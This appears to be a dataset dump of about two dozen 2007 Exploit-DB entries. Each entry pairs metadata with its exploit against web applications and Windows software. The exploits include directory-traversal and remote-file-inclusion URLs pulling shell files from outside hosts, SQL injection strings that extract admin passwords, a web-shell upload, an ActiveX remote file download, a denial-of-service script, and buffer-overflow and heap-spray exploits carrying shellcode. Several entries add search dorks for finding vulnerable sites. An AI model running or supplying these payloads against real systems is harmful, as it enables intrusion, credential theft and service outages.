QLWD/code_shield huggingface dataset:
标题: EDraw Flowchart ActiveX Control 2.0 - Insecure Method EDB-ID: 4598 CVE: 2007-5826 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-02 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------------------------------
 <b>EDraw Flowchart ActiveX Control (EDImage.ocx v. 2.0.2005.1104) "HttpDownloadFile()" Insecure Method</b>
 url: http://www.anydraw.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------------------------------

<object classid='clsid:F685AFD8-A5CC-410E-98E4-BAA1C559BA61' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   On Error Resume Next
     test.HttpDownloadFile "http://www.shinnai.altervista.org/shinnai.bat", "c:\shinnai.bat"
     MsgBox("Exploit completed!")
  End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4598
标题: ModuleBuilder 1.0 - 'file' Remote File Disclosure EDB-ID: 4591 CVE: 2007-5812 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-31 漏洞利用脚本: ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00

# milw0rm.com [2007-10-31] URL: https://www.exploit-db.com/exploits/4591
标题: Quick and Dirty Blog (qdblog) 0.4 - 'categories.php' Local File Inclusion EDB-ID: 4603 CVE: 2007-2304 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-03 漏洞利用脚本: Quick and Dirty Blog 0.4 (categories.php) Local File Inclusion Vulnerability
http://heanet.dl.sourceforge.net/sourceforge/qdblog/qdblog-0.4.tar.bz2
POC:
  /categories.php?theme=../../../../../../../../../etc/passwd%00

# milw0rm.com [2007-11-03] URL: https://www.exploit-db.com/exploits/4603
标题: Scribe 0.2 - PHP Remote Code Execution EDB-ID: 4596 CVE: 2007-5823 2007-5822 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-02 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

 Scribe <= 0.2 Remote PHP Code Execution
   Download: http://sourceforge.net/projects/scribe/

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

When we register a news user, scribe make a file called [username].php located 
in /regged/. The file contains:

Username: [username]
---------------------------------------------------------------
Exploit:

<form id="Register" action="http://[target]/[scribe_path]/forum.php?act=7" 
method="post">
<input maxlength="99999999999" name="username" type="text" value="<script 
language=php>[YOUR_PHP_CODE]"><br>
<input maxlength="32" name="password" type="password" value="kingolo"><br>
<input maxlength="32" name="cpassword" type="password" value="kingolo"><br>
<input maxlength="50" name="email" type="text" value="kingolo"><br>
<input name="confirm" value="Make Shell!" type="submit">
</form>

Now, go on:

http://[target]/[scribe_path]/regged/<script language=php>[YOUR_PHP_CODE].php

And your code will be execute on target server!
---------------------------------------------------------------
Trick:

If you insert directory traversal variable in your username, u can save the 
file where u want  ;) 
---------------------------------------------------------------

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4596
标题: WordPress Plugin BackUpWordPress 0.4.2b - Remote File Inclusion EDB-ID: 4593 CVE: 2007-5800 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-01 漏洞利用脚本: --------------------------------- [ Xmors Underground Team ! ] --------------------------------------

Title : BackUpWordPress <= 0.4.2b Remote File Inclusion Vulnerability

--------------------------------------------------------------------------------
#Author: S.W.A.T.


#cont@ct: svvateam@yahoo.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application :  BackUpWordPress 0.4.2b

Download    :  http://wordpress.designpraxis.at/download/backupwordpress.zip

--------------------------------------------------------------------------------
Vuln :

require_once $GLOBALS['bkpwp_plugin_path']."PEAR.php";

--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/plugins/BackUp/Archive.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=Shl3?

& other Files & Folders In The [Archive] Folder

--------------------------------------------------------------------------------

Dork:

"inurl:/plugins/BackUp"

--------------------------------------------------------------------------------



--------------------------------- [http://www.xmors.com ] --------------------------------------

# milw0rm.com [2007-11-01] URL: https://www.exploit-db.com/exploits/4593
标题: Synergiser 1.2 RC1 - Local File Inclusion / Full Path Disclosure EDB-ID: 4595 CVE: 2007-5802 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-02 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure
Download: http://sourceforge.net/project/downloading.php?
group_id=169910&use_mirror=kent&filename=synergiser-1.13_final.tar.gz&53405269
---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
Local File Inclusion PoC:

Synergiser cms allows to include a file by the get variabile "page". We can't 
include a remote file, coz there is a filter..but we can include, by a 
directory traversal, some important files...for example:

http://[target]/[synergiser_path]/index.php?page=../../../etc/passwd
---------------------------------------------------------------
Full Path Disclosure PoC:

So, we have to know the script path if we wanna browse the server...we can get 
it generating a full path disclosure, like this:

http://[target]/[synergiser_path]/index.php?page=../index.php

We know that a function cannot be declared two times. So, let's read the 
"index.php" code, and we will found:

include('application_top.php');

This row includes "application_top.php". In that page, is declared a php 
function: assign_rand_value(); So, including index.php in index.php, we will 
reinclude application_top.php, and we will redeclare the same function. We 
can't do it! So the server will answer:

Fatal error: Cannot redeclare assign_rand_value() (previously declared in 
[script_path]/application_top.php:9) in [script_path]/application_top.php on 
line 124

And we got the script path! :P
---------------------------------------------------------------

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4595
标题: ISPworker 1.21 - 'download.php' Remote File Disclosure EDB-ID: 4592 CVE: 2007-5813 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-31 漏洞利用脚本: ISPworker 1.21 Remote File Disclosure Vulnerability
http://ispworker.de/_files/ispworker-1.21.tar.gz
/module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00
/module/ticket/download.php?filename=../../../../../../../../../etc/passwd

# milw0rm.com [2007-10-31] URL: https://www.exploit-db.com/exploits/4592
标题: Ax Developer CMS 0.1.1 - 'index.php?module' Local File Inclusion EDB-ID: 4599 CVE: 2007-5820 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-02 漏洞利用脚本: ###################################
                     #    W w w . T r Y a G . C o m    #
#################################################################################
# Ax Developer CMS 0.1.1 (index.php module) Local File Inclusion Vulnerability  #
# http://sourceforge.net/projects/axdcms/                                       #
# POC :                                                                         #
# /index.php?module=../../../../../../../../etc/passwd%00                       #
#################################################################################
                     #    W w w . T r Y a G . C o m    #
                     ###################################

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4599
标题: Firefly Media Server 0.2.4 - Remote Denial of Service EDB-ID: 4600 CVE: 2007-5824 类型: DOS 平台: LINUX 发布日期: 2007-11-02 漏洞利用脚本: #!C:\python25\python25.exe

"""
Advisory : [UPH-07-02]
mt-dappd/Firefly media server remote DoS
Discovered by nnp
http://www.unprotectedhex.com
"""

import sys
import socket
import time

if len(sys.argv) != 3:
    sys.exit(-1)

kill_msg = """GET /xml-rpc?method=stats HTTP/1.1\r\n 
Authorization:\r\n\r\n"""

host = sys.argv[1]
port = sys.argv[2]

print '[+] Host : ' + host
print '[+] Port : ' + port

print "[+] Sending "
print kill_msg

ctr = 1
while 1:
    print '[+] Ctr : ' + str(ctr)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    s.send(kill_msg)
    s.close()
    ctr += 1

# milw0rm.com [2007-11-02] URL: https://www.exploit-db.com/exploits/4600
标题: SonicWALL SSL-VPN - 'NeLaunchCtrl' ActiveX Control Remote Command Execution EDB-ID: 4594 CVE: 2007-5603 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-01 漏洞利用脚本: <!--

SonicWall SSL-VPN NeLaunchCtrl ActiveX Control exploit.

by krafty

greets to SK, muts, halvar, grugq, and all the ethnical hackers

sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.

Bring back the days of technotronic and r00tshell! Freedom.

poc: launches calculator.
Tested with IE6 XP SP2. I'm sure it works with IE7 and Vista and all
that jing-bang.

-->


<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='nelx' /></object>

<script>

var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u2065%u0000");

var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
   spray += spray;
} while(spray.length < 0xc0000);

memory = new Array();

for(i = 0; i < 50; i++)
   memory[i] = spray + shellcode;

buf = "";
for(i = 0; i < 50; i++)
   buf += unescape("%05%05%05%05");

nelx.AddRouteEntry("", buf);

</script>

# milw0rm.com [2007-11-01] URL: https://www.exploit-db.com/exploits/4594
标题: CaupoShop Pro 2.x - 'action' Remote File Inclusion EDB-ID: 4577 CVE: 2007-5784 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-28 漏洞利用脚本: ork:allinurl:index.php?action= basket sid
vuln:index.php?action=
examples:
http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php

author:mozi2weed@yahoo.com
site:http://mozi.rootmybox.org
support:http://darkc0de.com & whoami

# milw0rm.com [2007-10-28] URL: https://www.exploit-db.com/exploits/4577
标题: MiniBB 2.1 - 'table' SQL Injection EDB-ID: 4587 CVE: 2007-5719 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-30 漏洞利用脚本: vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit
  download: http://www.minibb.net/download.php?file=minibb21
  dork: "These forums are running on" "miniBB"

  author: irk4z@yahoo.pl
  greets to: str0ke, polish under :*
'-----------------------------------------------------------------------------'

 # code:

  /bb_func_search.php:
       ...
   41    if(isset($_GET['where'])) $where=$_GET['where']+0; else $where=0;
       ...

       ...
  188    if($where==0) { $date_field='post_time'; $poster_field='poster_name'; $table=$Tp; }
  189    elseif($where==1) { $date_field='topic_time'; $poster_field='topic_poster_name'; $table=$Tt; }
       ...

       ...
  215    if($row=db_searchSelect(0,$table,'count(*)',$sqlStr)) $numRows=$row[0]; else $numRows=0;
  216       if($numRows==0){
  217        $searchResults='<span class="txtSm">'.$l_searchFailed.'</span>';
  218       }
  219       else{
  220        $warning=$l_recordsFound.' '.$numRows;
       ...

 SQL query: "select count(*) from $table where $sqlStr" <- sql-inj in $table
 so if register_globals = On, we can get usernames and passwords from database
 in hex, and unhex it (http://www.paulschou.com/tools/xlate/) ;]
 
  
 # p0c:
 
     http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=[SQL]
     http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*

# milw0rm.com [2007-10-30] URL: https://www.exploit-db.com/exploits/4587
标题: ProfileCMS 1.0 - Arbitrary File Upload EDB-ID: 4586 CVE: 2007-5720 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: ProfileCMS v1.0 Shell Upload Exploit

Demo : http://slrate.com/

You can direct upload PHP shell instead of image while creating profile  at this script, For example http://slrate.com/profiles here you can direct upload shell instead of images.

Dorks :

"Total Generators & Widgets"
"Powered By ProfileCMS v1.0"

# milw0rm.com [2007-10-29] URL: https://www.exploit-db.com/exploits/4586
标题: MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion EDB-ID: 4585 CVE: 2007-5721 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-29 漏洞利用脚本: MSRS v.1.21 Remote File Inclusion

Author Site : http://www.myspacepros.com/

POC :

/_theme/breadcrumb.php Line No. 3

<?php include($rootBase . '/_inc/breadcrumb.php'); ?>

Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt?

D0rks :

inurl:/Generators/Layout_Generator
"!new Female Celebrities"
inurl:/Generators/Scrollbar_Colors

# milw0rm.com [2007-10-29] URL: https://www.exploit-db.com/exploits/4585
标题: Sony CONNECT Player 4.x - '.m3u' Local Stack Overflow EDB-ID: 4583 CVE: 2007-5709 类型: LOCAL 平台: WINDOWS 发布日期: 2007-10-29 漏洞利用脚本: #!/usr/bin/python
#Secunia Advisory : SA27270 
#Release Date : 2007-10-29
# Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow (m3u File) Local Exploit
# Bug discovered by  Parvez Anwar
# Exploit Written by TaMBaRuS (tambarus@gmail.com)
# Tested on:  Sony CONNECT Player (SonicStage) 4.x installed on Windows XP SP2/ 2k SP4
# Shellcode: Windows Execute Command <metasploit.com>
# Eductional Purposes only  ;) 
##

from struct import pack

m3u = ("#EXTM3U\nhttp://%s")

shellcode = (
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x44\x4e\x33\x4b\x48\x4e\x57"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x35\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x35\x4a\x56\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x36")

NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA53D2       # POP POP RET (SHELL32.DLL/2k SP4)

buf = "PLAY ME"
buf += "\x3e" * 1062
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "\x90" * 90
buf += shellcode

m3u %= buf

fd = open("playme.m3u", "w")
fd.write(m3u)
fd.close()

print "DONE"

# EoF

# milw0rm.com [2007-10-29] URL: https://www.exploit-db.com/exploits/4583
标题: teatro 1.6 - 'basePath' Remote File Inclusion EDB-ID: 4582 CVE: 2007-5780 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-28 漏洞利用脚本: # teatro 1.6 Remote File Include Vulnerability
 Download script : http://telemat.die.unifi.it/book/2003/Telematica-II/teatro-1.6.tgz
 Dicovered by    : Alkomandoz Hacker
 Contact         : alkomandoz-hacker@hotmail.com
=========================================================================

 
http://localhost/path/teatro/pub/pub08_comments.php?basePath=shell.txt
======================================================================

# Thanx:   AsbMay's Group & City Of Ghosts Team & Sniper-sa Team
# Greetz To:   Sniper_Sa & Pal-Hackers & Hack eGy & Dr SeSo & No4Hard & Devil-x & Gold_M

# milw0rm.com [2007-10-28] URL: https://www.exploit-db.com/exploits/4582
标题: Sige 0.1 - 'sige_init.php' Remote File Inclusion EDB-ID: 4581 CVE: 2007-5781 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-28 漏洞利用脚本: %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%  Sige 0.1 sige_init.php Remote File Inclusion Vulnerability
%  http://mesh.dl.sourceforge.net/sourceforge/pfadmin/sige_0.1.tgz
%  POC :
%  /inc/sige_init.php?SYS_PATH=http://localhost/scripts/020.txt?
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

# milw0rm.com [2007-10-28] URL: https://www.exploit-db.com/exploits/4581
标题: phpFaber URLInn 2.0.5 - 'dir_ws' Remote File Inclusion EDB-ID: 4588 CVE: 2007-5754 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-30 漏洞利用脚本: /   \      
 _                        )      ((   ))     (
(@)                      /|\      ))_((     /|\
|-|                     / | \    (/\|/\)   / | \                      (@)
| |--------------------/--|-voV---\`|'/--Vov-|--\---------------------|-|
|-|                         '^`   (o o)  '^`                          | |
| |                               `\Y/'                               |-|
|-|                                                                   | |
| |                          -=ShAd0w-CrEw=-                          |-|
|-|                                                                   | |
| |                                                                   |-|
|_|___________________________________________________________________| |
(@)              l   /\ /         ( (       \ /\   l                  |-|
                 l /   V           \ \       V   \ l                  (@)
                 l/                _) )_          \I
                                   `\ /'
                     ` 
            ----------------------------------------------
              GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEeTs To
            ----------------------------------------------
              A2J, iNs, The Pitbull, ICQBomber, str0ke
            ----------------------------------------------
                     BiG sHoUt OuT tO udplink.net
            ----------------------------------------------




Vulnerability Type: Remote File Inclusion
Vulnerable file: /phpFaber.URLInn.v2.0.5.PHP.NULL-DGT/phpfaber_urlinn_2_0_5/urlinn_includes/config.php
Exploit URL: http://localhost/path/urlinn_includes/config.php?dir_ws=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: dir_ws
Line number: 78
Lines:

----------------------------------------------
require_once("$dir_ws/urlinn_includes/adodb/adodb.inc.php");
require_once("$dir_ws/urlinn_includes/smarty/Smarty.class.php");
require_once("$dir_ws/urlinn_includes/i_PageSelector.php");

----------------------------------------------


               ----------------------------------------------
                        FoUnD By BiNgZa AKA RaZor
               ----------------------------------------------
               DoRk:Powered by phpFaber URLInn. Copyright Â© 2004-2006 phpFaber
               ----------------------------------------------
                        shadowcrew@hotmail.co.uk
               ----------------------------------------------
                          shadow.php0h.com
               ----------------------------------------------

# milw0rm.com [2007-10-30] URL: https://www.exploit-db.com/exploits/4588
标题: emagiC CMS.Net 4.0 - 'emc.asp' SQL Injection EDB-ID: 4578 CVE: 2007-5783 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-28 漏洞利用脚本: --------------------

emagiC CMS.Net v4.0 Remote SQL Injection Exploit

--------------------

+ Found  : hak3r-b0y
+ Gr33tz : darko , V4 CrackerS , hacker_alQassam , Ans , Barra, all ans-hacker.com members
+ Script URL : http://www.emagic-cms.com/
+ D0rk : inurl:emc.asp?pageid=
--------------------

Exploit:

emc.asp?pageId=1' UNION SELECT TOP 1 convert(int, password%2b'%20x') FROM EMAGIC_LOGINS where username='sa'--

y0u will find the crypted password

for the admin 'sa'
--------------------

ContacT: mohamed_amine_1991@hotmail.com

--------------------

# milw0rm.com [2007-10-28] URL: https://www.exploit-db.com/exploits/4578
标题: FireConfig 0.5 - 'dl.php' Remote File Disclosure EDB-ID: 4580 CVE: 2007-5782 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-28 漏洞利用脚本: FireConfig v0.5 (dl.php file) Remote File Disclosure Vulnerability
http://heanet.dl.sourceforge.net/sourceforge/fireconfig/fireconfig_v0.5.tar.gz
POC :
  /dl.php?file=../../../../../../etc/passwd%00

# milw0rm.com [2007-10-28] URL: https://www.exploit-db.com/exploits/4580
标题: JobSite Professional 2.0 - 'file.php' SQL Injection EDB-ID: 4576 CVE: 2007-5785 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-28 漏洞利用脚本: #########################################################################
JobSite Professional v2.0    Remote SQL Injection Vulnerability
#########################################################################


## AUTHOR : ZynbER
## HOME : NoWhere


## Script WebSite:
http://www.jobsiteprofessional.com

## Dork english version : inurl:index.php?page=en_jobseekers
## Dork french version  : inurl:index.php?page=fr_Candidats


## EXPLOITS :

Vulnerability in (File.php?id=)



http://website.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_admin_users/*

http://website.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_ext_jobseekers/*

http://website.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_ext_employers/*



## Note
No registration is needed!!



## GREETZ  :  MEKNES - SIDIBABA - MARROK - SKIZO - BouKa-BouKa

#########################################################################
JobSite Professional v2.0    Remote SQL Injection Vulnerability
#########################################################################

# milw0rm.com [2007-10-28] URL: https://www.exploit-db.com/exploits/4576